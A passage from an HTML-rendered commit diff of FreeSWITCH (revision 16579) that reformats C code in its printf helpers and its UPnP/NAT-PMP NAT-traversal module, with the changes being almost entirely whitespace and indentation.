+                                if (nspace > 0)
+                                        (*func) (arg, spaces, nspace);
+                        }
+                }
+                if (zExtra) {
+                        free(zExtra);
+                }
+        }                                                        /* End for loop over the format string */
+        return errorflag ? -1 : count;
+}                                                                /* End of function */
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx"> /* This structure is used to store state information about the
</span><span class="cx"> ** write to memory that is currently in progress.
</span><span class="cx"> */
</span><span class="cx"> struct sgMprintf {
</span><del>- char *zBase; /* A base allocation */
- char *zText; /* The string collected so far */
- int nChar; /* Length of the string so far */
- int nTotal; /* Output size if unconstrained */
- int nAlloc; /* Amount of space allocated in zText */
- void *(*xRealloc)(void*,int); /* Function used to realloc memory */
</del><ins>+        char *zBase;                                /* A base allocation */
+        char *zText;                                /* The string collected so far */
+        int nChar;                                        /* Length of the string so far */
+        int nTotal;                                        /* Output size if unconstrained */
+        int nAlloc;                                        /* Amount of space allocated in zText */
+        void *(*xRealloc) (void *, int);        /* Function used to realloc memory */
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> /*
</span><span class="lines">@@ -728,69 +797,70 @@
</span><span class="cx"> ** This routine add nNewChar characters of text in zNewText to
</span><span class="cx"> ** the sgMprintf structure pointed to by "arg".
</span><span class="cx"> */
</span><del>-static void mout(void *arg, const char *zNewText, int nNewChar){
- struct sgMprintf *pM = (struct sgMprintf*)arg;
- pM->nTotal += nNewChar;
- if ( pM->nChar + nNewChar + 1 > pM->nAlloc ){
- if ( pM->xRealloc==0 ){
- nNewChar = pM->nAlloc - pM->nChar - 1;
- }else{
- pM->nAlloc = pM->nChar + nNewChar*2 + 1;
- if ( pM->zText==pM->zBase ){
- pM->zText = pM->xRealloc(0, pM->nAlloc);
- if ( pM->zText && pM->nChar ){
- memcpy(pM->zText, pM->zBase, pM->nChar);
- }
- }else{
- char *zNew;
- zNew = pM->xRealloc(pM->zText, pM->nAlloc);
- if ( zNew ){
- pM->zText = zNew;
- }
- }
- }
- }
- if ( pM->zText ){
- if ( nNewChar>0 ){
- memcpy(&pM->zText[pM->nChar], zNewText, nNewChar);
- pM->nChar += nNewChar;
- }
- pM->zText[pM->nChar] = 0;
- }
</del><ins>+static void mout(void *arg, const char *zNewText, int nNewChar)
+{
+        struct sgMprintf *pM = (struct sgMprintf *) arg;
+        pM->nTotal += nNewChar;
+        if (pM->nChar + nNewChar + 1 > pM->nAlloc) {
+                if (pM->xRealloc == 0) {
+                        nNewChar = pM->nAlloc - pM->nChar - 1;
+                } else {
+                        pM->nAlloc = pM->nChar + nNewChar * 2 + 1;
+                        if (pM->zText == pM->zBase) {
+                                pM->zText = pM->xRealloc(0, pM->nAlloc);
+                                if (pM->zText && pM->nChar) {
+                                        memcpy(pM->zText, pM->zBase, pM->nChar);
+                                }
+                        } else {
+                                char *zNew;
+                                zNew = pM->xRealloc(pM->zText, pM->nAlloc);
+                                if (zNew) {
+                                        pM->zText = zNew;
+                                }
+                        }
+                }
+        }
+        if (pM->zText) {
+                if (nNewChar > 0) {
+                        memcpy(&pM->zText[pM->nChar], zNewText, nNewChar);
+                        pM->nChar += nNewChar;
+                }
+                pM->zText[pM->nChar] = 0;
+        }
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /*
</span><span class="cx"> ** This routine is a wrapper around xprintf() that invokes mout() as
</span><span class="cx"> ** the consumer.
</span><span class="cx"> */
</span><del>-static char *base_vprintf(
- void *(*xRealloc)(void*,int), /* Routine to realloc memory. May be NULL */
- int useInternal, /* Use internal %-conversions if true */
- char *zInitBuf, /* Initially write here, before mallocing */
- int nInitBuf, /* Size of zInitBuf[] */
- const char *zFormat, /* format string */
- va_list ap /* arguments */
-){
- struct sgMprintf sM;
- sM.zBase = sM.zText = zInitBuf;
- sM.nChar = sM.nTotal = 0;
- sM.nAlloc = nInitBuf;
- sM.xRealloc = xRealloc;
- vxprintf(mout, &sM, useInternal, zFormat, ap);
- if ( xRealloc ){
- if ( sM.zText==sM.zBase ){
- sM.zText = xRealloc(0, sM.nChar+1);
- if ( sM.zText ){
- memcpy(sM.zText, sM.zBase, sM.nChar+1);
- }
- }else if ( sM.nAlloc>sM.nChar+10 ){
- char *zNew = xRealloc(sM.zText, sM.nChar+1);
- if ( zNew ){
- sM.zText = zNew;
- }
- }
- }
- return sM.zText;
</del><ins>+static char *base_vprintf(void *(*xRealloc) (void *, int),        /* Routine to realloc memory. May be NULL */
+                                                 int useInternal,        /* Use internal %-conversions if true */
+                                                 char *zInitBuf,        /* Initially write here, before mallocing */
+                                                 int nInitBuf,        /* Size of zInitBuf[] */
+                                                 const char *zFormat,        /* format string */
+                                                 va_list ap        /* arguments */
+        )
+{
+        struct sgMprintf sM;
+        sM.zBase = sM.zText = zInitBuf;
+        sM.nChar = sM.nTotal = 0;
+        sM.nAlloc = nInitBuf;
+        sM.xRealloc = xRealloc;
+        vxprintf(mout, &sM, useInternal, zFormat, ap);
+        if (xRealloc) {
+                if (sM.zText == sM.zBase) {
+                        sM.zText = xRealloc(0, sM.nChar + 1);
+                        if (sM.zText) {
+                                memcpy(sM.zText, sM.zBase, sM.nChar + 1);
+                        }
+                } else if (sM.nAlloc > sM.nChar + 10) {
+                        char *zNew = xRealloc(sM.zText, sM.nChar + 1);
+                        if (zNew) {
+                                sM.zText = zNew;
+                        }
+                }
+        }
+        return sM.zText;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /*
</span><span class="lines">@@ -798,7 +868,7 @@
</span><span class="cx"> */
</span><span class="cx"> static void *printf_realloc(void *old, int size)
</span><span class="cx"> {
</span><del>- return realloc(old,size);
</del><ins>+        return realloc(old, size);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /*
</span><span class="lines">@@ -806,8 +876,8 @@
</span><span class="cx"> */
</span><span class="cx"> SWITCH_DECLARE(char *) switch_vmprintf(const char *zFormat, va_list ap)
</span><span class="cx"> {
</span><del>- char zBase[SWITCH_PRINT_BUF_SIZE];
- return base_vprintf(printf_realloc, 1, zBase, sizeof(zBase), zFormat, ap);
</del><ins>+        char zBase[SWITCH_PRINT_BUF_SIZE];
+        return base_vprintf(printf_realloc, 1, zBase, sizeof(zBase), zFormat, ap);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /*
</span><span class="lines">@@ -815,13 +885,13 @@
</span><span class="cx"> */
</span><span class="cx"> SWITCH_DECLARE(char *) switch_mprintf(const char *zFormat, ...)
</span><span class="cx"> {
</span><del>- va_list ap;
- char *z;
- char zBase[SWITCH_PRINT_BUF_SIZE];
- va_start(ap, zFormat);
- z = base_vprintf(printf_realloc, 1, zBase, sizeof(zBase), zFormat, ap);
- va_end(ap);
- return z;
</del><ins>+        va_list ap;
+        char *z;
+        char zBase[SWITCH_PRINT_BUF_SIZE];
+        va_start(ap, zFormat);
+        z = base_vprintf(printf_realloc, 1, zBase, sizeof(zBase), zFormat, ap);
+        va_end(ap);
+        return z;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> #ifdef __UNUSED__
</span><span class="lines">@@ -830,8 +900,8 @@
</span><span class="cx"> */
</span><span class="cx"> SWITCH_DECLARE(char *) switch_vmprintf(const char *zFormat, va_list ap)
</span><span class="cx"> {
</span><del>- char zBase[SWITCH_PRINT_BUF_SIZE];
- return base_vprintf(printf_realloc, 0, zBase, sizeof(zBase), zFormat, ap);
</del><ins>+        char zBase[SWITCH_PRINT_BUF_SIZE];
+        return base_vprintf(printf_realloc, 0, zBase, sizeof(zBase), zFormat, ap);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /*
</span><span class="lines">@@ -839,13 +909,13 @@
</span><span class="cx"> */
</span><span class="cx"> SWITCH_DECLARE(char *) switch_mprintf(const char *zFormat, ...)
</span><span class="cx"> {
</span><del>- va_list ap;
- char *z;
- char zBase[SWITCH_PRINT_BUF_SIZE];
- va_start(ap, zFormat);
- z = base_vprintf(printf_realloc, 0, zBase, sizeof(zBase), zFormat, ap);
- va_end(ap);
- return z;
</del><ins>+        va_list ap;
+        char *z;
+        char zBase[SWITCH_PRINT_BUF_SIZE];
+        va_start(ap, zFormat);
+        z = base_vprintf(printf_realloc, 0, zBase, sizeof(zBase), zFormat, ap);
+        va_end(ap);
+        return z;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /*
</span><span class="lines">@@ -856,12 +926,12 @@
</span><span class="cx"> */
</span><span class="cx"> SWITCH_DECLARE(char *) switch_snprintf(int n, char *zBuf, const char *zFormat, ...)
</span><span class="cx"> {
</span><del>- char *z;
- va_list ap;
</del><ins>+        char *z;
+        va_list ap;
</ins><span class="cx">
</span><del>- va_start(ap,zFormat);
- z = base_vprintf(0, 0, zBuf, n, zFormat, ap);
- va_end(ap);
- return z;
</del><ins>+        va_start(ap, zFormat);
+        z = base_vprintf(0, 0, zBuf, n, zFormat, ap);
+        va_end(ap);
+        return z;
</ins><span class="cx"> }
</span><span class="cx"> #endif
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_natc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_nat.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_nat.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_nat.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -67,12 +67,11 @@
</span><span class="cx">
</span><span class="cx"> static switch_status_t get_upnp_pubaddr(char *pub_addr)
</span><span class="cx"> {
</span><del>-        if (UPNP_GetExternalIPAddress(nat_globals.urls.controlURL,
-                                                                 nat_globals.data.servicetype,
-                                                                 pub_addr) == UPNPCOMMAND_SUCCESS) {
</del><ins>+        if (UPNP_GetExternalIPAddress(nat_globals.urls.controlURL, nat_globals.data.servicetype, pub_addr) == UPNPCOMMAND_SUCCESS) {
</ins><span class="cx">                 if (!strcmp(pub_addr, "0.0.0.0") || zstr_buf(pub_addr)) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
-                                                         "uPNP Device (url: %s) returned an invalid external address of '%s'. Disabling uPNP\n", nat_globals.urls.controlURL, pub_addr);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
+                                                         "uPNP Device (url: %s) returned an invalid external address of '%s'. Disabling uPNP\n", nat_globals.urls.controlURL,
+                                                         pub_addr);
</ins><span class="cx">                         return SWITCH_STATUS_GENERR;
</span><span class="cx">                 }
</span><span class="cx">         } else {
</span><span class="lines">@@ -81,11 +80,11 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static int init_upnp (void)
</del><ins>+static int init_upnp(void)
</ins><span class="cx"> {
</span><span class="cx">         struct UPNPDev *devlist;
</span><span class="cx">         struct UPNPDev *dev;
</span><del>-        char * descXML;
</del><ins>+        char *descXML;
</ins><span class="cx">         int descXMLsize = 0;
</span><span class="cx">         const char *multicastif = 0;
</span><span class="cx">         const char *minissdpdpath = 0;
</span><span class="lines">@@ -97,24 +96,25 @@
</span><span class="cx">         if (devlist) {
</span><span class="cx">                 dev = devlist;
</span><span class="cx">                 while (dev) {
</span><del>-                        if (strstr (dev->st, "InternetGatewayDevice")) {
</del><ins>+                        if (strstr(dev->st, "InternetGatewayDevice")) {
</ins><span class="cx">                                 break;
</span><span class="cx">                         }
</span><span class="cx">                         dev = dev->pNext;
</span><span class="cx">                 }
</span><span class="cx">                 if (!dev) {
</span><del>-                        dev = devlist; /* defaulting to first device */
</del><ins>+                        dev = devlist;                /* defaulting to first device */
</ins><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "No InternetGatewayDevice, using first entry as default (%s).\n", dev->descURL);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 descXML = miniwget(dev->descURL, &descXMLsize);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 nat_globals.descURL = strdup(dev->descURL);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (descXML) {
</span><del>-                        parserootdesc (descXML, descXMLsize, &nat_globals.data);
-                        free (descXML); descXML = 0;
-                        GetUPNPUrls (&nat_globals.urls, &nat_globals.data, dev->descURL);
</del><ins>+                        parserootdesc(descXML, descXMLsize, &nat_globals.data);
+                        free(descXML);
+                        descXML = 0;
+                        GetUPNPUrls(&nat_globals.urls, &nat_globals.data, dev->descURL);
</ins><span class="cx">                 } else {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Unable to retrieve device description XML (%s).\n", dev->descURL);
</span><span class="cx">                 }
</span><span class="lines">@@ -138,7 +138,7 @@
</span><span class="cx">         fd_set fds;
</span><span class="cx">         natpmp_t natpmp;
</span><span class="cx">         const char *err = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((r = initnatpmp(&natpmp)) < 0) {
</span><span class="cx">                 err = "init failed";
</span><span class="cx">                 goto end;
</span><span class="lines">@@ -150,7 +150,7 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         do {
</span><del>-                struct timeval timeout = { 1, 0};
</del><ins>+                struct timeval timeout = { 1, 0 };
</ins><span class="cx">                 i++;
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Checking for PMP %d/%d\n", i, max);
</span><span class="cx">
</span><span class="lines">@@ -167,7 +167,7 @@
</span><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><span class="cx">                 r = readnatpmpresponseorretry(&natpmp, &response);
</span><del>-        } while(r == NATPMP_TRYAGAIN && i < max);
</del><ins>+        } while (r == NATPMP_TRYAGAIN && i < max);
</ins><span class="cx">
</span><span class="cx">         if (r < 0) {
</span><span class="cx">                 err = "general error";
</span><span class="lines">@@ -177,10 +177,10 @@
</span><span class="cx">         pubaddr = inet_ntoa(response.pnu.publicaddress.addr);
</span><span class="cx">         switch_copy_string(pub_addr, pubaddr, IP_LEN);
</span><span class="cx">         nat_globals.nat_type = SWITCH_NAT_TYPE_PMP;
</span><del>-        
</del><ins>+
</ins><span class="cx">         closenatpmp(&natpmp);
</span><span class="cx">
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">
</span><span class="cx">         if (err) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error checking for PMP [%s]\n", err);
</span><span class="lines">@@ -203,7 +203,7 @@
</span><span class="cx"> {
</span><span class="cx">         char *addr = NULL;
</span><span class="cx">         switch_port_t port = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (nat_globals.nat_type == SWITCH_NAT_TYPE_UPNP) {
</span><span class="cx">                 addr = "239.255.255.250";
</span><span class="cx">                 port = 1900;
</span><span class="lines">@@ -245,13 +245,13 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static void *SWITCH_THREAD_FUNC switch_nat_multicast_runtime(switch_thread_t *thread, void *obj)
</del><ins>+static void *SWITCH_THREAD_FUNC switch_nat_multicast_runtime(switch_thread_t * thread, void *obj)
</ins><span class="cx"> {
</span><span class="cx">         char *buf = NULL;
</span><span class="cx">         char newip[16] = "";
</span><span class="cx">         char *pos;
</span><span class="cx">         switch_event_t *event = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "NAT thread started\n");
</span><span class="cx">
</span><span class="cx">         buf = (char *) malloc(MULTICAST_BUFFSIZE);
</span><span class="lines">@@ -274,13 +274,13 @@
</span><span class="cx">
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (nat_globals.nat_type == SWITCH_NAT_TYPE_UPNP) {
</span><span class="cx">                         /* look for our desc URL and servicetype in the packet */
</span><span class="cx">                         if (strstr(buf, nat_globals.descURL) && (buf == NULL || strstr(buf, nat_globals.data.servicetype))) {
</span><span class="cx">                                 if ((pos = strstr(buf, "NTS:"))) {
</span><span class="cx">                                         pos = pos + 4;
</span><del>-                                        while(*pos && *pos == ' ') {
</del><ins>+                                        while (*pos && *pos == ' ') {
</ins><span class="cx">                                                 pos++;
</span><span class="cx">                                         }
</span><span class="cx">                                         if (!strncmp(pos, "ssdp:alive", 10)) {
</span><span class="lines">@@ -288,10 +288,12 @@
</span><span class="cx">                                                 /* did pub ip change */
</span><span class="cx">                                                 newip[0] = '\0';
</span><span class="cx">                                                 if (get_upnp_pubaddr(newip) != SWITCH_STATUS_SUCCESS) {
</span><del>-                                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Unable to get current pubaddr after receiving UPnP keep alive packet.\n");
</del><ins>+                                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
+                                                                                         "Unable to get current pubaddr after receiving UPnP keep alive packet.\n");
</ins><span class="cx">                                                 }
</span><span class="cx">                                         } else if (!strncmp(pos, "ssdp:byebye", 11)) {
</span><del>-                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "got UPnP signoff packet. Your NAT gateway is probably going offline.\n");
</del><ins>+                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
+                                                                                 "got UPnP signoff packet. Your NAT gateway is probably going offline.\n");
</ins><span class="cx">                                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "got UPnP signoff packet: \n%s\n", buf);
</span><span class="cx">                                         } else {
</span><span class="cx">                                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "got UNKNOWN UPnP keep alive packet: \n%s\n", buf);
</span><span class="lines">@@ -304,31 +306,31 @@
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Unable to get current pubaddr after receiving UPnP keep alive packet.\n");
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if ((strlen(newip) > 0) && strcmp(newip, "0.0.0.0") && strcmp(newip, nat_globals.pub_addr)) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Public IP changed from '%s' to '%s'.\n", nat_globals.pub_addr, newip);
</span><span class="cx">                         do_repub = SWITCH_TRUE;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_event_create(&event, SWITCH_EVENT_TRAP);
</span><span class="cx">                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "condition", "network-address-change");
</span><span class="cx">                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "network-address-previous-v4", nat_globals.pub_addr);
</span><span class="cx">                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "network-address-change-v4", newip);
</span><span class="cx">                         switch_event_fire(&event);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_set_string(nat_globals.pub_addr, newip);
</span><span class="cx">                         switch_nat_reinit();
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (do_repub) {
</span><span class="cx">                         switch_nat_republish();
</span><del>-                }
</del><ins>+                }
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "NAT thread ending\n");
</span><span class="cx">         nat_globals_perm.running = 0;
</span><span class="cx">
</span><span class="cx">         switch_safe_free(buf);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return NULL;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -343,7 +345,7 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unable to initialize NAT thread\n");
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_threadattr_create(&thd_attr, nat_globals_perm.pool);
</span><span class="cx">         switch_threadattr_detach_set(thd_attr, 1);
</span><span class="cx">         switch_thread_create(&nat_thread_p, thd_attr, switch_nat_multicast_runtime, NULL, nat_globals_perm.pool);
</span><span class="lines">@@ -352,7 +354,7 @@
</span><span class="cx"> SWITCH_DECLARE(void) switch_nat_thread_stop(void)
</span><span class="cx"> {
</span><span class="cx">         /* don't do anything if no thread ptr */
</span><del>-        if (!nat_thread_p ) {
</del><ins>+        if (!nat_thread_p) {
</ins><span class="cx">                 return;
</span><span class="cx">         }
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Stopping NAT Task Thread\n");
</span><span class="lines">@@ -361,18 +363,18 @@
</span><span class="cx">                 switch_status_t st;
</span><span class="cx">
</span><span class="cx">                 nat_globals_perm.running = -1;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_thread_join(&st, nat_thread_p);
</span><span class="cx">
</span><span class="cx">                 while (nat_globals_perm.running) {
</span><del>-                        switch_yield(1000000); /* can take up to 5s for the thread to terminate, so wait for 10 */
</del><ins>+                        switch_yield(1000000);        /* can take up to 5s for the thread to terminate, so wait for 10 */
</ins><span class="cx">                         if (++sanity > 10) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Timed out waiting for NAT Task Thread to stop\n");
</span><span class="cx">                                 break;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         nat_thread_p = NULL;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -380,16 +382,16 @@
</span><span class="cx"> SWITCH_DECLARE(void) switch_nat_init(switch_memory_pool_t *pool)
</span><span class="cx"> {
</span><span class="cx">         /* try free dynamic data structures prior to resetting to 0 */
</span><del>-        FreeUPNPUrls(&nat_globals.urls);
</del><ins>+        FreeUPNPUrls(&nat_globals.urls);
</ins><span class="cx">         switch_safe_free(nat_globals.descURL);
</span><span class="cx">
</span><span class="cx">         memset(&nat_globals, 0, sizeof(nat_globals));
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (first_init) {
</span><span class="cx">                 memset(&nat_globals_perm, 0, sizeof(nat_globals_perm));
</span><span class="cx">                 nat_globals_perm.pool = pool;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_find_local_ip(nat_globals.pvt_addr, sizeof(nat_globals.pvt_addr), NULL, AF_INET);
</span><span class="cx">
</span><span class="cx">
</span><span class="lines">@@ -401,12 +403,13 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Checking for UPnP\n");
</span><span class="cx">                 init_upnp();
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (nat_globals.nat_type) {
</span><span class="cx">                 switch_core_set_variable("nat_public_addr", nat_globals.pub_addr);
</span><span class="cx">                 switch_core_set_variable("nat_private_addr", nat_globals.pvt_addr);
</span><span class="cx">                 switch_core_set_variable("nat_type", nat_globals.nat_type == SWITCH_NAT_TYPE_PMP ? "pmp" : "upnp");
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "NAT detected type: %s, ExtIP: '%s'\n", nat_globals.nat_type == SWITCH_NAT_TYPE_PMP ? "pmp" : "upnp", nat_globals.pub_addr);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "NAT detected type: %s, ExtIP: '%s'\n",
+                                                 nat_globals.nat_type == SWITCH_NAT_TYPE_PMP ? "pmp" : "upnp", nat_globals.pub_addr);
</ins><span class="cx">
</span><span class="cx">                 if (!nat_thread_p) {
</span><span class="cx">                         switch_nat_thread_start();
</span><span class="lines">@@ -418,7 +421,7 @@
</span><span class="cx">         initialized = SWITCH_TRUE;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static switch_status_t switch_nat_add_mapping_pmp(switch_port_t port, switch_nat_ip_proto_t proto, switch_port_t *external_port)
</del><ins>+static switch_status_t switch_nat_add_mapping_pmp(switch_port_t port, switch_nat_ip_proto_t proto, switch_port_t * external_port)
</ins><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx">         natpmpresp_t response;
</span><span class="lines">@@ -426,7 +429,7 @@
</span><span class="cx">         natpmp_t natpmp;
</span><span class="cx">
</span><span class="cx">         initnatpmp(&natpmp);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (proto == SWITCH_NAT_TCP) {
</span><span class="cx">                 sendnewportmappingrequest(&natpmp, NATPMP_PROTOCOL_TCP, port, port, 31104000);
</span><span class="cx">         } else if (proto == SWITCH_NAT_UDP) {
</span><span class="lines">@@ -441,29 +444,27 @@
</span><span class="cx">                 getnatpmprequesttimeout(&natpmp, &timeout);
</span><span class="cx">                 select(FD_SETSIZE, &fds, NULL, NULL, &timeout);
</span><span class="cx">                 r = readnatpmpresponseorretry(&natpmp, &response);
</span><del>-        } while(r == NATPMP_TRYAGAIN);
</del><ins>+        } while (r == NATPMP_TRYAGAIN);
</ins><span class="cx">
</span><span class="cx">         if (r == 0) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "mapped public port %hu protocol %s to localport %hu\n",
</span><span class="cx">                                                  response.pnu.newportmapping.mappedpublicport,
</span><span class="cx">                                                  response.type == NATPMP_RESPTYPE_UDPPORTMAPPING ? "UDP" :
</span><del>-                                                 (response.type == NATPMP_RESPTYPE_TCPPORTMAPPING ? "TCP" : "UNKNOWN"),
-                                                 response.pnu.newportmapping.privateport);
</del><ins>+                                                 (response.type == NATPMP_RESPTYPE_TCPPORTMAPPING ? "TCP" : "UNKNOWN"), response.pnu.newportmapping.privateport);
</ins><span class="cx">                 if (external_port) {
</span><span class="cx">                         *external_port = response.pnu.newportmapping.mappedpublicport;
</span><span class="cx">                 } else if (response.pnu.newportmapping.mappedpublicport != response.pnu.newportmapping.privateport) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "External port %hu protocol %s was not available, it was instead mapped to %hu",
</span><del>-                                response.pnu.newportmapping.privateport,
-                                response.type == NATPMP_RESPTYPE_UDPPORTMAPPING ? "UDP" :
-                                 (response.type == NATPMP_RESPTYPE_TCPPORTMAPPING ? "TCP" : "UNKNOWN"),
-                                response.pnu.newportmapping.mappedpublicport);
</del><ins>+                                                         response.pnu.newportmapping.privateport,
+                                                         response.type == NATPMP_RESPTYPE_UDPPORTMAPPING ? "UDP" :
+                                                         (response.type == NATPMP_RESPTYPE_TCPPORTMAPPING ? "TCP" : "UNKNOWN"), response.pnu.newportmapping.mappedpublicport);
</ins><span class="cx">                 }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                 status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         closenatpmp(&natpmp);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -486,7 +487,7 @@
</span><span class="cx">         if (r == UPNPCOMMAND_SUCCESS) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "mapped public port %s protocol %s to localport %s\n", port_str,
</span><span class="cx">                                                  (proto == SWITCH_NAT_TCP) ? "TCP" : (proto == SWITCH_NAT_UDP ? "UDP" : "UNKNOWN"), port_str);
</span><del>-                                                 status = SWITCH_STATUS_SUCCESS;
</del><ins>+                status = SWITCH_STATUS_SUCCESS;
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         return status;
</span><span class="lines">@@ -498,7 +499,7 @@
</span><span class="cx">         natpmpresp_t response;
</span><span class="cx">         int r;
</span><span class="cx">         natpmp_t natpmp;
</span><del>-        
</del><ins>+
</ins><span class="cx">         initnatpmp(&natpmp);
</span><span class="cx">
</span><span class="cx">         if (proto == SWITCH_NAT_TCP) {
</span><span class="lines">@@ -515,17 +516,15 @@
</span><span class="cx">                 getnatpmprequesttimeout(&natpmp, &timeout);
</span><span class="cx">                 select(FD_SETSIZE, &fds, NULL, NULL, &timeout);
</span><span class="cx">                 r = readnatpmpresponseorretry(&natpmp, &response);
</span><del>-        } while(r == NATPMP_TRYAGAIN);
</del><ins>+        } while (r == NATPMP_TRYAGAIN);
</ins><span class="cx">
</span><span class="cx">         if (r == 0) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "unmapped public port %hu protocol %s to localport %hu\n",
-                                                 response.pnu.newportmapping.privateport, /* This might be wrong but its so 0 isn't displayed */
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "unmapped public port %hu protocol %s to localport %hu\n", response.pnu.newportmapping.privateport,        /* This might be wrong but its so 0 isn't displayed */
</ins><span class="cx">                                                  response.type == NATPMP_RESPTYPE_UDPPORTMAPPING ? "UDP" :
</span><del>-                                                 (response.type == NATPMP_RESPTYPE_TCPPORTMAPPING ? "TCP" : "UNKNOWN"),
-                                                 response.pnu.newportmapping.privateport);
</del><ins>+                                                 (response.type == NATPMP_RESPTYPE_TCPPORTMAPPING ? "TCP" : "UNKNOWN"), response.pnu.newportmapping.privateport);
</ins><span class="cx">                 status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         closenatpmp(&natpmp);
</span><span class="cx">
</span><span class="cx">         return status;
</span><span class="lines">@@ -553,11 +552,12 @@
</span><span class="cx">         return status;
</span><span class="cx"> }
